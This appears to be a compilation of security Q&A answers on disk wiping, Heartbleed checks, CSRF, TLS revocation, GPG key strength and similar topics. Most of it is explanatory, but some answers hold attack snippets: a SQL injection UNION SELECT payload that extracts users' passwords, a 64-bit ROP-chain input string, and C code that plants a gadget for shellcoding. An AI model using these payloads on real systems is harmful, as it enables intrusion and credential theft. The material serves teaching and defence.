Why is writing zeros (or random data) over a hard drive used when writing all ones is more beneficial?

The reason you write '0' instead of '1' has to do with the way magnetic storage encodes the 0 and the 1. a long explanation of it can be found on Wikipedia under Run-length_limited. In short RLL is the methodology used to store the '1' and '0' and it is more complex than just to store the bit values themselves.

On a side note to make the drive more like it was when it came out of the factory we need to have it store only 0's. (factory default state)

So to securely erase anything on a magnetic storage device you first need to change the magnetic encoded values to a 'stable' state, (that means as many '0' as possible). This makes it harder for anyone to retrieve what was there, and almost impossible for the build-in magnetic Reading head. (only specialist equipment can still reliably retrieve it)
To combat 'magnetic memory' you can than write a random pattern to the same location, followed by a zeroing pass, this makes it nigh impossible for software to retrieve the values that were there.

Finally you leave the disc in a state that closely resembles the factory state.

Most of this does not apply to CMOS or SSD technology as long as they do not use magnetism to store the values.  There are other techniques to securely erase a CMOS / SSD but that involves overpowering the 'memory' cell to erase all values inside it. (also known as a reset).

Most of the time you do not care about the wear and tear when 'securely' erasing the disk because you simply do not do it that often. and the benefits of the erase outweigh the cost of having to replace your drive a little sooner.


Should there be an anti-virus used on client provided files?

"so long as you make sure the files can't be executed"

Most formal theories of security are predicated on a logical expression of one or conditions. The problem with formal theories is they fail to anticipate behaviors outside the model. How do you make sure that the files cannot be executed?

Even Linux and Mac OS X/BSD machines occasionally come into contact with file systems that do not have execute permissions. Specifically, most removable flash media are formatted as FAT32.

Do your Linux machines automatically mount removable media?

Do you have WINE or another Windows compatibility framework installed?

If you answered yes to both these questions then congratulations: you too can be infected by Windows malware!

On the other hand if you virus-scan every file by default then you have less to worry about.

I disagree slightly with Hendrik. The main reason to check files for malware is to keep your own systems up and running efficiently. Then secondarily to keep your clients clean. If you lack the resources to operate, then fairly soon you won't have any. And virus scanning files is not really an onerous chore if you automate it.


How can Heartbleed checkers determine if a site is vulnerable?

The Heartbleed bug involves asking the server to return a block of memory that is larger than the actual information being returned. A vulnerable server will return whatever is in memory beyond the data structure it's returning. So, if you ask a server to return the extra memory and it does, then the server is vulnerable.

You can examine the code diffs for the patch here. There's a lot of duplication in the code but the basic change is to add this:

if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0; /* silently discard */

So you can see how it now fails if you request a buffer larger than the actual size.


Updates mod_security and its rules.

Get help from the pros and their specific community:
https://modsecurity.org/help.html

While you wait for a response try some of these things.

http://www.inmotionhosting.com/support/website/modsecurity/find-and-disable-specific-modsecurity-rules

grep ModSecurity /usr/local/apache/logs/error_log | sed -e 's#^.*\[id "\([0-9]*\).*hostname "\([a-z0-9\-\_\.]*\)"\].*uri "#\1 \2 #' | cut -d\" -f1 | sort -n | uniq -c | sort -n

Results in

129 990011 example.com /feed/
4668 950004 example.com /wp-content/themes/drone/jquery.cookie.js
29070 950004 www.example.com /wp-content/themes/drone/jquery.cookie.js

echo "SecRuleRemoveById 950004" >> /usr/local/apache/conf/userdata/std/2/userna5/example.com/modsec.conf

Obviously the paths won't be the same on your server.

I would also recommend trying to modify the rules before disabling them.

Additionally, you can also use snort to monitor your traffic.

https://www.tipsandtricks-hq.com/apache-mod-security-update-how-to-fix-error-406-or-not-acceptable-issue-259

Apparently you can modify the config with unique .htaccess in each folder.  Therefore, you could disable it for per site.  However, I recommend investigating modifying option 2.


From nmap documentation here: https://nmap.org/book/man-port-scanning-basics.html

  A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it.

This means that the host has responded (most likely with an RST) to the SYN packet sent by Nmap. I didn't see any explicit reference to this in the standard (RFC 793), but this is the most reasonable explanation that comes to my mind. It would be normal for Nmap to interpret this as a closed port - yet, use it to sort of "make a note" that hey there is a host on this IP address; and even try to use possible variations in responses to fingerprint the OS.

Yes, as already mentioned by @schroeder, the label to the port is simply from an internal reference table - not by any real fingerprinting.


Would a (password + combination of images) be stronger for user's login regarding keyloggers?

Nope. Keyloggers can often also do screen-capturing and mouse-coordinate-logging. So the attacker can still see what image the user selects.

Another kind of two-factor authentication for which the user needs two devices (e.g. laptop and phone) would be more secure. Another good alternative is a Yubikey. A kind of device which generates a pseudo-random password each time. That way the hacker/keylogger can't guess the next password.


Why don't browsers trust the US Treasury?

It is not that the browsers are unwilling to include this PKI. But they will only include a PKI which gets regular audits and fully conforms to the rules of the CAB browser forum. Acording to this bug inclusion process in the Mozilla trust store (i.e. Firefox) was started 8 years ago and is still an ongoing process. For all the details see the bug itself.


Can CSRF protection work even if an XSS vulnerability exists?

No, I don't think so. It could be circumvented by creating an iframe with display: none, containing the page add-users.php. Then all the attacker has to do is to fill in the form fields and submit the form with JavaScript, and the attacker has successfully added a user without the victim's consent or knowledge. Checking the referer header would not stop this, as it would have the correct value.
OWASP has the following to say on using the referer for CSRF protection:

Although it is trivial to spoof the referer header on your own browser, it is impossible to do so in a CSRF attack. Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state. This makes a referer a useful method of CSRF prevention when memory is scarce. This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state which is required to keep track of a synchronization token.
However, checking the referer is considered to be a weaker from of CSRF protection. For example, open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check and some organizations or browser tools remove referrer headers as a form of data protection. There are also common implementation mistakes with referer checks. For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted. In this case the lack of a referer should be considered to be an attack when the request is performing a state change. Also note that the attacker has limited influence over the referer. For example, if the victim's domain is "site.com" then an attacker have the CSRF exploit originate from "site.com.attacker.com" which may fool a broken referer check implementation. XSS can be used to bypass a referer check.
In short, referer checking is a reasonable form of CSRF intrusion detection and prevention even though it is not a complete protection. Referer checking can detect some attacks but not stop all attacks. For example, if you HTTP referrer is from a different domain and you are expecting requests from your domain only, you can safely block that request.

(On a side note, I would dispute that solving this problem would "greatly mitigate" the damages from XSS. An attacker could still steal passwords, in addition to the other things you list. That is still pretty bad.)


Does client send request to CA when SSL handshaking?

Kinda. The browser verifies the certificate was issued by the CA without contacting the CA. But the certificate might have been revoked since then, for example because the site's private key leaked. To verify the certificate has not been revoked, the browser needs to contact the CA's CRL or OCSP site. If those are down, there is no way to know whether the certificate is revoked. In practice, because keeping those sites up is expensive, they are often down and modern browsers either don't check or try to check but don't fail the connection if the CA is unreachable. So a certificate will keep working if its CA is down. If the CA goes down permanently, you can't revoke the certificate, which is a problem.

To solve the scalability issues with CRL and OCSP, OCSP stapling was invented. Your site itself contacts the CA once a day to get a signed note that says "at this time, the certificate has not been revoked" and passes this signed note to the browser. This leaves a window of a day during which the certificate might have been revoked and your browser won't suspect a thing, which is better than what we have now.


Yahoo mail hacked - how to recover, how did it happen and how to prevent?

I used the same password on a couple of other (trusted) sites.

Maybe you do not want to reuse the same password for important sites, like Email

See also this Dropbox story. And XKCD at the bottom of the answer.

Email can be easily forged. If one of your friends let you look at the mails "from you", there are certain headers that should indicate whether the mail was really sent by Yahoo or not. Have a look at why-is-it-even-possible-to-forge-sender-header-in-e-mail.

For the rest of your questions:

  I read about this XSS hack from 2012/2013 but thought the hole was closed. Is it still open?

Very unlikely that they keep an exploit from 2012/2013 open until today. There are ways to mitigate XSS attacks. In case you use Firefox on your main PC, have a look at noscript. (as mentioned in the answer to the question you probably meant)

  The last couple of weeks I almost only used my iPhone for online
  activity. Could it be that there is some virus/malware on the phone? I
  only downloaded apps from the official Apple store!

While Apple offers some tight control over what they accept as apps, there are exploits from time to time. Hard to tell from a distance. The shared password seems a more likely attack vector.

  Is it enough to change the password and security questions or should I take some further steps?

Using a separate password is a very good step. Depending on your level of paranoia, 2-factor-authentication might be a way to go. Do seriously consider noscript.


Firstly it presumably would not be generally assessed as an 'offline' root if its key is in a network connected HSM, no matter how protected (with a PIN, behind firewall, etc)?

any reason for such assumption? HSM ports are not switched (at least this is the case in nShield net-HSMs). In my opinion, offline CA is CA that cannot be accessed over network and is physically secured. From what I know Tails OS doesn't equal HSM.

sufficiently securely

this is a too broad term. You should clarify what is "sufficiently securely" for you.

Does having two HSMs make a good solution? One contains the root CA key, which is powered off except when needed, and another online one for managing the issuing certificate's key?

single net-attached HSM is sufficient (though, this creates a single point of failure. If single HSM fails, you are screwed) for normal operation. HSMs support partitioning (key isolation) using different techniques, such as operator card set. Having one card set (quorum), you can access only subset of keys stored on HSM, not entire HSM.

If the USB is read-only I can't store anything on it - such as an issued certificate. If it is read/write then a vector exists to compromise it from the laptop/desktop on which it is used.

The purpose of secure cryptographic storage is to store keys. CA software is installed on a standard/normal OS installation, Windows, Linux or Mac and executes its workflows, such as accepting and signing requests, signing CRLs, maintain internal database, configuration and so on. The highest value of CA is its private key which is stored on secure device such as HSM. This means that booting from custom USB OS doesn't give you any benefit since you cannot activate CA software from USB OS unless such functionality is offered by USB OS.
I would say that Tails USB OS doesn't solve your problem and you should take a look at HSM technology.


Since I can set the source IP address to anything using raw sockets, does this mean I am untraceable?

You are correct that this is possible. There are problems with the plan though:

The network you are leaving can filter to drop outgoing packets that do not have a source IP from within their network.
DDoS (Distributed Denial of Service) is based around idea that many boxes target a single one, overloading the target's ability to handle the data. Your single consumer hardware is unable to produce the output alone to overload a target.
Source IP address spoofing is used in some denial of service attacks, such as sending small requests for large amounts of data to many servers where the servers will reply to the spoofed target. See Reflected/spoofed attack on Wikipedia or last year's NTP Amplification Attack from the US CERT.
Usually TCP doesn't benefit from address spoofing due to the three-way handshake. It is more useful with TCP to perform session hijacking.


How does HTTP Basic Auth persist across pageviews?

To quote the Wikipedia article on this:

  Because the BA header has to be sent with each HTTP request, the web browser needs to cache credentials for a reasonable period of time to avoid constantly prompting the user for their username and password.

So it seems your browser takes care of this for you.


A "password reset address" is a temporary password -- and one that can be leveraged into a permanent password. A "password" is a piece of information that a user can present to be granted access. The "password reset address" fits that definition.

So I would say that the particular bridge of "password over email" has been crossed already. The inherent risk of such sending is mitigated by making the address applicability limited in time -- just like the "temporary password".

One could argue that the "temporary password" is a bit more risky in the following sense: if an attacker eavesdrop on the email, he can use both the password reset address and the temporary password, but using the temporary password leaves fewer traces, whereas actually resetting the password will be easily spotted by the rightful owner, on account of him not being able to log on any more. The difference is slight, though. I would say that the "temporary password" feature is quite useless but not significantly more risky than the password reset address itself.

(I suppose that the "temporary password" is for people who need access fast but don't want to break their own, cumbersome, slow password renewal policy. An edge case to help people who happen to dig their own grave.)


You can make a UNION SELECT here. The only problem is to match the columns from messages, but you can guess those by adding columns until it fits:

SELECT * FROM messages WHERE unread = 1 LIMIT
    1 UNION SELECT mail,password,1,1,1 FROM users

Just keep adding ,1 until you get the correct column count. Also, you need to match the column type. Try null instead of 1.

If you can see MySQL errors that would help big time here. Otherwise you got a lot of trying.

Also see Testing for SQL Injection at owasp.org for some details.


Certificate and Path validation for S/MIME

Yes, you have to to revocation checking when validating a S/MIME signature. What is different from TLS ist the time aspect. A TLS certificate needs to be valid exactly at the time of validation, while a S/MIME certificate must have been valid at the time the e-mail was created. It doesn't matter if it has been revoked afterwards. This means, that you need to use a CRL for verification, because OCSP responses do not include a revocation time.
The proper key usage must be checked. The certificate mus contain the keyUsage digitalSignature and/or the extendedKeyUsage emailProtection.


Corrupted Address When Performing 64 Bit ROP Chain

A 64 bit address means each address will be 8 byte long. The address that you want to point to is 0x00007EFBF7B267DB instead of 0x7EFBF7B267DB.
Change your input to \x41\x41\x41.....\x41\x41\xdb\x67\xb2\xf7\xfb\x7e \x00\x00\x41\x41\x41\x41 and your code should run fine.

EDIT after further analyzing the issue in comments:
This link from Reverse engineering SE shows that ROP for a 64 bit machine can be tricky especially if you have null bytes in the address and the exploit code has strcpy.
The link suggests using a series of bugs and creating a chain to fix the issue or if you just want to use a shell code, then writing a suggested harness to your shell code.


How to increase gadget occurence in a program

I assume you are compiling your program in x86-64 mode, otherwise there would be no chance (nor need) for popping rdi.  Generally speaking, smaller programs have fewer gadgets.  Particularly very simple programs tend not to have many gadgets that begin in the middle of long instructions, as longer programs/libraries may have.

Blocks compiled in if(0){} will never appear in the output of the program, even when optimization is disabled, this is likely to be completely ignored by the compiler.  Instead, you can use a global variable because it is hard for an optimizer to reason about the value of a global.

#include <stdio.h>

int foo = 0;

void callme() {
  asm volatile ("pop %%rdi\n\t"
      "ret"
      :
      :
      : "rdi");
}

int main(int argc, char **argv) {
  printf("Hello world!\n");
  if (foo == 0x55) {
    callme();
  }
}

The assembly in the function callme performs a pop rdi;ret sequence.  Because it is in GCC, AT&T syntax is expected, so registers require a %.  Unfortunately, the asm macro uses % as a meta-character, requiring the doubling up to escape a single %.  asm takes several arguments separated by colons (I do not know why they chose colons instead of commas).  The first is the assembly template, which can include auto-assigned registers if the programmer does not require control of their own registers.  The 2nd and 3rd are the destination (output) and source (input) registers.  The final one is a list of other registers that are overwritten by the assembly.  In normal use, this will tell the compiler how to allocate registers for this function.  Given that this function is not actually being used normally, but only for shellcoding, all of this is mostly optional, but I went with the long version for demonstration purposes here.

If you compile this code with gcc -O0 -o sample sample.c, and then dump the disassembly via objdump -d sample, you will see the function callme is included, and contains the gadget you are looking for.


Without third party tools, no, it's not possible - the functionality was only introduced in Windows Server 2012, and subsequent releases: see Microsoft Technet for details (under the section header "What is the difference between audit policies located in Local Policies\Audit Policy and audit policies located in Advanced Audit Policy Configuration?" for some reason).


Why is it dangerous to let an internal server talk to the internet (to a specific IP)?

It is no more dangerous than allowing a desktop to access an IP when they are browsing the Internet. It would be dangerous to assign a static IP, have insecure services exposed. Two separate issues. When you connect to the Internet from a business or a home network, or any network for the most part, chances are you will have a firewall somewhere in the loop. Whether it is a dedicated firewall, or minimalist fw like rules applied on a router. That router is your egress point to the world. So this is what occurs when you connect, and how the world sees you:

Router - 10.10.10.1 (internal address) / 33.33.33.33 (external address)
Laptop1 - 10.10.10.2
Workstation1 - 10.10.10.4
DBServer2 - 10.10.10.10

Let's say a user on Laptop1 goes to get an update at say: mysoftware.com, this is what occurs very basic terms:

Laptop1 --> need to go to mysoftware.com (DNS lookup) --> router

Your router creates a tuple (NAT/PAT) to pass it to the world which may look something like this:

10.10.10.2:65432 --> mysoftware.com --> router (I need to remember this)
router --> 10.10.10.1:44555 / 33.33.33.33:554433 --> mysoftware.com "Hey I need this"

Imagine if two people at the same exact time went to mysoftware.com how would data know which machine is which? This is done by the tuple so on the way back this occurs:

mysoftware.com --> here is your update --> 33.33.33.33:554433

Your router/firewall now maps back that tuple:

554433 = 44555 which I have mapped to 10.10.10.2:65432

That is how connections work in a nutshell. Now, under the same ASCII explanation... The outside world can NEVER randomly see what is behind a firewall (unless the fw is misconfigured, and someone does some really good firewalking). So what is perceived will occur by allowing this system to access the Internet? Remember, there is a difference between assigning that machine a STATIC IP where the world can see it, to just giving it access.

So let's assume this is a MySQL server:

Workstation1 - 10.10.10.4 3306 is opened for LOCAL connections (within the LAN)

An attacker? They won't know the 10.10.10.4 address exists. In the world, all they know/see is 33.33.33.33 they can send data to 33.33.33.33 port 3306 but it will end up nowhere.


Using PGP in emails - is there to find the key?

Your question is not very clear, but in public-key cryptography,
everyone has a public key which can be freely distributed, and a
secret key which only that person knows.

To send a secret message to someone, you encrypt it with their public
key. It can only be decrypted with the secret key.

To sign a message, you use your secret key. No one else can sign it with
that key, but anyone can verify the signature using your public key.

Does that clear things up?


How can the validity and safety of a software library be checked?

You have basically two options (provided you can verify your download, e.g., using a PGP signature):

Read the code yourself
Find some way to trust the developer

Reading the code yourself will not only need a lot of time, but an evil developer has a lot of ways to hide a backdoor. So you will need to trust the library authors.

The most important thing there is: Use as little code from others as needed. For example you mentioned npm. A typical project using npm downloads hundreds of tiny modules just to display a hello world message. Each of them could be malicious or break your build, see e.g. the disaster with left-pad.

When you decide you need a library (everything that is too time consuming or too complicated to implement yourself and definitely everything security related like encryption), try to find out which library may be trustworthy and then choose one and try not to use another one in each other part of the code.

There is no straightforward answer on how to build trust. Everyone needs to decide himself. There are some red flags about what code you should probably avoid, but there is no clear indication if a library without red flags is still malicious or not.


For SSL certs, is some sort of connection to the issuing CA (or other network resource) required for the SSL connection to be established?

When a SSL connection occurs, the client must make sure that it is talking to the right server. This entails validating the server's certificate with regards to a set of known trust anchors (aka "root certificates"), and also verifying the revocation status of the said certificates (the server's certificate, and every needed intermediate CA certificate between a root and the server's certificate). Revocation is the way a CA says "whoops, my bad, ignore that certificate if you see it, even if it has a seemingly correct signature on it". Revocation status is obtained by downloading a CRL from the CA, where CRL are regularly updated signed objects issued by the CA (typically once per day).

(Alternatively, revocation status can be obtained with OCSP, which does not susbtantially change the picture.)

So revocation status check normally implies some sort of connection to the issuing CA (possibly an intermittent connection or an active regular push from the CA). In some setups, you could do without revocation; this is equivalent to stating that the server's private key will never be stolen.

If the server requests a certificate from the client, the mirror scenario occurs as well.


Some vulnerable projects in C or C++ for a lecture?

Open Security Training has some great resources to teach developers about secure code practices including a virtual machine with compilers and vulnerable code samples

Also look at NIST's SAMATE TEST Suite for C and C++ vulnerable code, For e.g. C test suite contains good examples of Format String, Buffer overflow vulnerabilities in C.

You can find vulnerable versions of open source software like Wireshark on SAMATE as well. You might also want to look at exploit-db.com once your students are comfortable with simple vulnerabilities.

Finding security issues in Wireshark, VLC or any media libraries can be a great exercise for students and also improves security of open source projects.


Is it worth augmenting /dev/random entropy in software?

The short answer is that feeding /dev/random back with the output of /dev/urandom will not decrease security. To make things clearer (the comments indicate that I was not precise enough), my point is that feeding /dev/random with the output of /dev/urandom is harmless (though it does not increase security); it is also rather useless (except as a way to easily support applications that insist on using /dev/random and blocking at inopportune times for no good reason).

To make things simple, let's define a working model of the functioning of /dev/random and /dev/urandom:

There is an internal state p that consists of k bytes (for some integer k).
Additional entropy x is injected by replacing p with H(p,x), where H is a "sort of" hash function. For instance, the current state is concatenated with the new entropy, the result being hashed, and the hash output is the new p.
Output is produced by using p as input to a CSPRNG; the first k bytes are the new value of p, and the subsequent bytes are the output for that run.
/dev/random differs from /dev/urandom in that it will occasionally refuse to output bytes until new entropy is injected (or gathered from the hardware).

(The above is a conceptual model which is close enough to the actual implementation for the purposes of the current discussion.)

The security of the whole thing depends on the entropy of p; roughly speaking, on how much p is unknown to attackers. Attackers know that p has size k, so they may try to guess p by brute force, which has a cost of about 28k-1 on average. The CSPRNG is deemed cryptographically secure because analysis of many bytes of the output does not yield information on other output bytes -- in particular, it does not yield information on p (either before or after the run).

We now suppose that x is chosen by the attacker. As long as H behaves like a secure hash function, H(p,x) has the same entropy as p -- the attacker still has no information on p after the operation. Strictly speaking, there can be a "space reduction" effect, down to about size 28k/2 if the attacker is allowed to do the "entropy feeding" trick 28k/2 times. If k is large enough (say 32, for a 256-bit internal state), the remaining space size is still large enough for security, and this situation cannot be attained anyway.

Since the CSPRNG does not yield information on p, the output of that CSPRNG cannot be worse for security than an attacker-controlled x. This is the part which would be most tricky to formalize in an academic way (this would take a few pages to write it down properly). Intuitively, the CSPRNG, when using k bytes of input and taking k bytes of output, behaves like a random oracle.

Therefore, feeding /dev/random from the output of /dev/urandom won't reduce security.

This of course relies on the idea that the state-update function (for entropy injection) and the CSPRNG are both "ideal" functions. If they are not, then you are doomed anyway (the autoblocking behaviour of /dev/random would not save you in that case).


Given a Gnupg Public / Private key pair, how can I identify the strength of the encryption used?

is a long passphrase (over 32 chars) enough to secure the private key?

If it's cryptographically random, and has a large character set, then probably, unless a flaw is found.  Note that I would consider putting my secret key on someone else's machine a very high risk to begin with, and a risk even if I wrapped it inside another layer (7-zip or Truecrypt or something else).  The most secure practice is to keep the main private key entirely offline and only let subkeys out onto network connection machines, though that can be cumbersome.

  whether I should create a stronger key pair and re-encrypt a bunch of files which I'd like to avoid.

There are three levels of encryption to think about:

asymmetric encryption: This is used for signatures, as well as to encrypt the randomly generated key PGP/GPG use for symmetric encryption (of files)

You've identified this as RSA 2048, which as of March 2014 is "acceptable" for the forseeable future per U.S. NIST SP 800-131A and rated as "103 bits" of security (where "84 bits" is the minimum [few months of protection] level if your adversary has a $300 million budget) ECRYPT II Yearly Report on Algorithms and Key Lengths (2012), so that seems fine.
"gpg --list-keys" shows this automatically - 2048R means 2048 bit RSA, and 4096R means 4096 bit RSA.

symmetric encryption (of files): This is up to a combination of your public key's preferences and the capabilities of the gpg/pgp softare you use.  Since you're presumably using software with equal or better capabilities to what you used to generate the keys, this will be the first cipher in the list.

"gpg --edit-key [key]" followed by "showpref" will show this in human readable form.
within the edit-key section, you can use setpref to change these with a space-delimited list of ciphers, hashes, and compression algorithms.
This is 100% an aspect of the PUBLIC key and can be changed at any time - you can, in fact, have different public keys for the same secret key with different options, and all will work.
See GnuPG.org, Managing your own keypair
"gpg -vv [encrypted file]" will, in addition to decyrpting the file, actually show whatever was actually chosen to encrypt a given file - first it'll display (in your case) "gpg: encrypted with 2048-bit RSA key..." and then it'll display "gpg: [algorithm] encrypted data"
The above references agree that all AES key lengths are fine.  Three-key TripleDES is good through 2030 per the 2012 ECRYPT II analysis.  CAST5 was not analyzed.  CAMELLIA was not analyzed, but AFAIK is considered secure at this time; it's a European and Japanese cipher used in their standards instead of the U.S. AES cipher.

symmetric encryption (of your secret key, by your passphrase): This is the password hasing + encryption of your secret key.

"gpg --list-packets ~/.gnupg/secring.gpg" can be used to see this (change the path to your own secret keyring, of course)
Note that GPG 1.4.12 is listing "SHA1 protection" even when it lists "hash: 10" (i.e. SHA-512) as well.
"gpg --cert-digest-algo sha512 --s2k-cipher-algo CAMELLIA256 --s2k-mode 3 --s2k-digest-algo SHA512 --s2k-count 40480000 --gen-key" would, for instance, allow creating a fairly secure key.
"gpg --s2k-cipher-algo CAMELLIA256 --s2k-mode 3 --s2k-digest-algo SHA512 --s2k-count 40480000 --edit-key key" followed by "passwd" and saving a passphrase change (even to the SAME passphrase you have now) will change the encryption protecting an existing secret key.
Note that GPG tends to round --s2k-count up to a value it considers valid.


Initial handshakes of attacks via client-initiated renegotiation

I don't think client certificates will solve the problem of computational DoS. Consider the sequence of messages in SSL / TLS:

The client certificate is sent to the server after the ServerKeyExchange message. In the case of [EC]DHE_RSA the ServerKeyExchange message involves the server signing the DH parameters with it's long term public key. So the server has already performed a computationally intensive operation (RSA signature) before the client even sent it it's certificate.

A better approach would be to require a client puzzle to be solved in between the ClientHello and ServerHello messages.


Should I store my encrypted password's salt and initialization vector as clear text?

Assuming you don't care about efficiency, then the only real issue is that you are using CBC mode which is unauthenticated. There is no cryptographic issue with storing values which are not meant to be kept secret in any arbitrary encoding, whether hex, or base64, or uuencode. In fact, the new LUKS2 format for disk encryption does exactly this, storing encryption-related data in JSON.

You should probably use base64 though, because hex is unnecessarily inefficient.


I had ads and redirects via ads.matte.com on many devices on the network including android phones, PC's and IPads. I found out that going through a VPN service fixed the problem completely but didn't want to run a VPN service on all devices.

The solution for me was similar to some other contributors but very simple to do. All devices used DHCP from the main router. I checked the DNS settings within the Internet settings (not DNS within DHCP settings, this should be the same address as your main router gatweway address, commonly 192.168.0.1 etc.), and usually the Internet DNS servers would be provided by your ISP or you may be using google 8.8.8.8 or another DNS service.

In my case I didn't recognise the DNS server number so I looked it up and it turns out to be some Eastern Block country with the website friendhosting.net using IP 185.82.216.99 . I changed the DNS server to google 8.8.8.8 and cleared the cache and cookies from the browser in my PC and the problem was fixed. I cleared the cache and cookies an a couple more devices and this immediately fixed the problem on these devices too.

On one device I deliberately didn't clear the cache to see what happens and I went straight back to rubbish served by adsmatte.com . I then cleared the cache and cookies on this device and the problem was fixed immediately. The same fix was applied for the remaining devices and the network is back to normal.

One point to note - I logged onto a different network whilst having this problem and the problem remained, which made be think the problems was mainly due to a hijacked browser. I think what happened here was that the cache and/or cookies were still causing the problem and had I thought to clear them once connected to this other network then the problem would have probably been fixed too, providing their router had not been hijacked too.

So how did the router address get changed? The problem network is another family members so I've no idea what they may have done or downloaded but it's fixed for them now. As a bit of added protection I changed the DNS to OpenDNS (208.67.222.222 and 208.67.220.220) and it works really well.


If a large companies website's robots.txt file has no Disallow section, does this mean I am free to write code to crawl their website?

A robots.txt file does NOT imply any legal permission one way or another. It's only purpose is to limit the results of a crawler for crawlers who choose to respect the content of the robots.txt file.


How does Nessus send remote commands on Windows without RDP?

There are many ways that Nessus, and similar scanners or other utilities, may remotely control or alter systems without RDP enabled. In fact, you'll probably be hard-pressed to find any remote management utility or vulnerability scanner that requires RDP.

Remote Desktop is mainly for the human user. Graphical interfaces help us to more easily interpret and manipulate data and control elements. However, automated tools have no such needs. In fact, a graphical interface would just slow them down. So, for these things, there are other protocols and programming interfaces available which allow them to remotely read and manipulate data and settings without a GUI getting in the way.

Depending on the system's configuration, its inherent vulnerabilities, and the information (e.g.: credentials) provided to the scanner, one or more of the following may have been used:

Remote Registry
Administrative Shares/SMB (e.g.: \\ComputerName\C$\)
WMI
PowerShell Remoting

Those are just some of the most commonly-used features that might be available remotely from a Windows system. Even if one of these doesn't give a tool the access it needs, it could be useful to drop in a custom utility (e.g.: Meterpreter) that does.

If you want to know for sure how Nessus is accessing the system for a specific test, your best bet is to look at the script definition and check the appropriate reference materials for the tool. Or, you could hook up a sniffer like WireShark and see what traffic is being passed.


Should I be concerned if a Diffie-Hellman key generation is near instant?

My supposition given this information would be that the entropy ("true" randomness (or as true as is available to the computer)) source that the key generator was using already had plenty of entropy, likely because it was running longer or hadn't been tapped out already.

If you are concerned, you could regenerate until it generates slowly, but I don't think that is necessary.


Can expired credit card information be used for fraud?

In addition to the chance that a replacement card with the same PAN, but new expiration date and CVV has been issued (as noted by others in the comments), it can of course be used for spearphishing.

Just knowing that John Smith has a platinum card with XYZ bank, and used it to pay for a 10-pack of Nutella sandwich spread opens up for sending him an email or snailmail with some fantastic offer from that bank, or from a merchant he has been doing business with in the past (e.g. "Nutella Wholesale Traders Int").


Safe encryption algorithm that works with files bigger than 68GB

GCM mode combines CTR (counter) mode with MAC called GHASH. You can use virtually any standard block mode if you combine a MAC with it. For example, you can use AES in CBC or CTR mode if you also use HMAC, a MAC that uses cryptographic hashes for authentication. It is always better to encrypt first and then apply the HMAC over the ciphertext, a construction called Encrypt-then-MAC (EtM).


How do VPNs protect identity without assuming legal blame?

There are variants of safe harbour policy for digital copyrights laws in many countries. For example, in the US, digital copyright is ruled by the Digital Millennium Copyright Act (DMCA). DMCA Section 512 limits the liability of some entities from copyright infringement:

Transitory digital network communications
System caching
Information residing on systems or networks at the direction of users
Information location tools

VPN providers and ISPs squarely falls under transitory digital network communications limitations, so they're not considered liable for copyright infringement done by their customers.


These two repositories have lists of their sources inside of their readmes:

https://github.com/maravento/blackip

https://github.com/mitchellkrogza/Ultimate.Hosts.Blacklist

Please note the first project is no longer maintained. The 2nd project only seems to update monthly.


Diffie-Hellman is used in SSL/TLS, as "ephemeral Diffie-Hellman" (the cipher suites with "DHE" in their name; see the standard). What is very rarely encountered is "static Diffie-Hellman" (cipher suites with "DH" in their name, but neither "DHE" or "DH_anon"): these cipher suites require that the server owns a certificate with a DH public key in it, which is rarely supported for a variety of historical and economical reasons, among which the main one is the availability of a free standard for RSA (PKCS#1) while the corresponding standard for Diffie-Hellman (x9.42) costs a hundred bucks, which is not much, but sufficient to deter most amateur developers.

Diffie-Hellman is a key agreement protocol, meaning that if two parties (say, the SSL client and the SSL server) run this protocol, they end up with a shared secret K. However, neither client or server gets to choose the value of K; from their points of view, K looks randomly generated. It is secret (only them know K; eavesdroppers on the line do not) and shared (they both get the same value K), but not chosen. This is not encryption. A shared secret K is good enough, though, to process terabytes of data with a symmetric encryption algorithm (same K to encrypt on one side and decrypt on the other), and that is what happens in SSL.

There is a well-known asymmetric encryption algorithm called RSA, though. With RSA, the sender can encrypt a message M with the recipient's public key, and the recipient can decrypt it and recover M using his private key. This time, the sender can choose the contents of M.

So your question might be: in an RSA world, why do we bother with AES at all? The answer lies in the following points:

There are constraints on M. If the recipient's public key has size n (in bytes, e.g. n = 256 for a 2048-bit RSA key), then the maximum size of M is n-11 bytes. In order to encrypt a longer message, we would have to split it into sufficiently small blocks, and include some reassembly mechanism. Nobody really knows how to do that securely. We have good reasons to believe that RSA on a single message is safe, but subtle weaknesses can lurk in any split-and-reassemble system and we are not comfortable with that. It is already bad enough with symmetric ciphers, where the mathematical situation is simpler,
Even if we could handle the splitting-and-reassembly, there would be a size expansion. With a 2048-bit RSA key, an internal message chunk has the size of at most 245 bytes, but when encrypted, it yields to be a 256-byte sequence. This wastes our life energy, i.e. the network bandwidth. Symmetric encryption incurs only a bounded overhead (well, SSL adds a slight overhead proportional to the data size, but it is much smaller than what would occur with a RSA-only protocol),
Compared to AES, RSA is slow as hell,
We really like to have the option of using key agreement protocols like DH instead of RSA. In older times (before 2001), RSA was patented but DH was not, so the US government was recommending DH. Nowadays, we want to be able to switch algorithms in case one becomes broken. In order to support key agreement protocols, we need some symmetric encryption, so we may just as well use it with RSA. It simplifies implementation and protocol analysis.

See this answer for a detailed description of how SSL works.


Lee Brotherston spoke at DerbyCon 2015 on Stealthier Attacks and Smarter Defending with TLS Fingerprinting -- slides -- video.
He also released code to go along with the talk -- https://github.com/LeeBrotherston/tls-fingerprinting/tree/master/fingerprintls
The below is taken from his website -- http://blog.squarelemon.com/tls-fingerprinting/

Transport Layer Security (TLS) provides security in the form of
encryption to all manner of network connections from legitimate
financial transactions, to private conversations, and malware calling
home. The inability for an eavesdropper to analyze this encrypted
traffic protects its users, whether they are legitimate or malicious.
Those using TLS operate under the assumption that although an
eavesdropper can easily observe the existence of their session, its
source and destination IP addresses, that the content itself is secure
and unreadable without access to cryptographic keying material at one
or both ends of the connection. On the surface this holds true,
barring any configuration flaws or exploitable vulnerabilities.
However, using TLS Fingerprinting, it is easy to quickly and passively
determine which client is being used, and then to apply this
information from both the attacker and the defender perspectives.
[...]
FingerprinTLS
FingerprinTLS is designed to rapidly identify known TLS
connections and to fingerprint unknown TLS connections. Input is taken
either via live network sniffing or reading a PCAP file. Output for
recognized connections is (currently) in human readable form and for
